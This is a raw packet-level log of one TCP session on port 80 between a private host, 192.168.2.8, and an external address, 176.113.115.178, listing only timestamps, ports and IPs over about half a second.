Dec 18, 2024 14:07:37.720751047 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.720962048 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.721002102 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.721600056 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.721750975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.721792936 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.722445965 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.768910885 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.785105944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.785125017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.785212040 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.785356045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.785542965 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.785590887 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.786367893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.786381006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.786422968 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.787219048 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.787230968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.787276983 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.788285017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.788393974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.788439035 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.789107084 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.789180994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.789231062 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.789895058 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.789908886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.789949894 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.790657997 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.790812969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.790896893 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.791481018 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.791625023 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.791673899 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.792296886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.792411089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.792457104 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.793217897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.793230057 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.793272972 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.794042110 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.794054985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.794091940 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.795208931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.795228004 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.795289040 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.795993090 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.796190023 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.796241045 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.796662092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.796778917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.796822071 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.797485113 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.797601938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.797652006 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.798464060 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.798475981 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.798527002 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.799211979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.799324036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.799371958 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.800107002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.800170898 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.800230026 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.800976992 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.801002026 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.801070929 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.802078962 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.802155018 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.802206993 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.802990913 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.803354025 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.803404093 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.804017067 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.804150105 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.804198980 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.804821014 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.805063009 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.805111885 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.805922985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.806046963 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.806159973 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.806909084 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.807020903 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.807070017 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.807651043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.807713032 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.807759047 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.808244944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.808340073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.808401108 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.808959961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.809053898 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.809098005 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.809622049 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.809797049 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.809837103 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.810563087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.810581923 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.810631990 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.811359882 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.811467886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.811511040 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.812309980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.812547922 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.812597036 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.813240051 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.813429117 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.813474894 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.813951969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.814136982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.814179897 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.814811945 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.814901114 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.814958096 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.815776110 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.815850973 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.815896034 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.816654921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.816668987 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.816715956 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.817490101 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.817671061 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.817717075 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.818324089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.818449974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.818535089 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.903738976 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.903897047 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.903954983 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.904129982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.904369116 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.904407978 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.905736923 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.905767918 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.905822992 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.905917883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.905930042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.905986071 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.906938076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.906981945 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.907026052 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.907588959 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.907689095 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.907778025 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.909181118 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.909317970 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.909324884 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.909392118 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.909507990 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.909549952 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.910465002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.910703897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.910749912 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.911055088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.911236048 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.911278963 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.912000895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.912017107 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.912062883 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.912955999 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.913188934 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.913233042 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.913642883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.913969994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.914016962 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.914482117 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.956398964 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.977231979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.977245092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.977298021 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.977533102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.977618933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.977669001 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.978384018 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.978471994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.978522062 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.979336023 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.979434967 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.979481936 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.980072975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.980113029 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.980159044 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.981025934 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.981101036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.981142044 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.981775045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.981864929 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.981909037 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.982702017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.982919931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.982968092 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.983536959 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.983690977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.983741045 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.984447002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.984461069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.984514952 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.985291004 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.985467911 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.985512972 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.986128092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.986206055 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.986247063 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.986958027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.986969948 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.987006903 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.987812996 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.987829924 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.987864971 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.988928080 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.989116907 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.989156008 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.989952087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.990014076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.990062952 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.990781069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.991017103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.991070032 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.991520882 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.991533041 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.991569996 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.992259979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.992279053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.992326975 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.993092060 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.993103027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.993819952 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.993907928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.993957043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.993995905 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.994884968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.994978905 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.995018959 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.995728016 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.995841026 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.995883942 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.996498108 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.996663094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.996714115 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.997458935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.997471094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.997625113 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.998245955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.998264074 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.998358011 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:37.999121904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.999134064 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:37.999174118 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.000000954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.000011921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.000066042 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.000840902 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.001075029 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.001117945 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.001786947 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.002039909 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.002090931 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.002837896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.003073931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.003122091 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.003622055 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.003773928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.003822088 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.004288912 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.004468918 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.004518986 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.005126953 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.005268097 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.005320072 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.006206036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.006217003 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.006262064 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.006984949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.006998062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.007052898 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.007870913 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.007919073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.007960081 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.008610964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.008783102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.008831978 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.009604931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.009618998 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.009665012 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.010433912 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.010562897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.010638952 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.011181116 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.065826893 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.120695114 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.120711088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.120824099 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.120898962 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.121052027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.121105909 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.121789932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.121803045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.121838093 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.122704983 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.122716904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.122767925 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.123251915 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.123428106 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.123471975 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.124185085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.124198914 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.124249935 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.124979019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.125209093 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.125253916 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.125972033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.126193047 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.126235962 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.127048969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.127060890 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.127100945 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.127608061 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.127830982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.127876997 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.128730059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.128742933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.128787994 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.129667044 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.129740000 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.129782915 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.130450964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.130552053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.130594015 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.131155014 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.131167889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.131210089 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.169275045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.169409037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.169461966 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.169778109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.169902086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:38.169951916 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:38.169985056 CET	80	49707	176.113.115.178	192.168.2.8
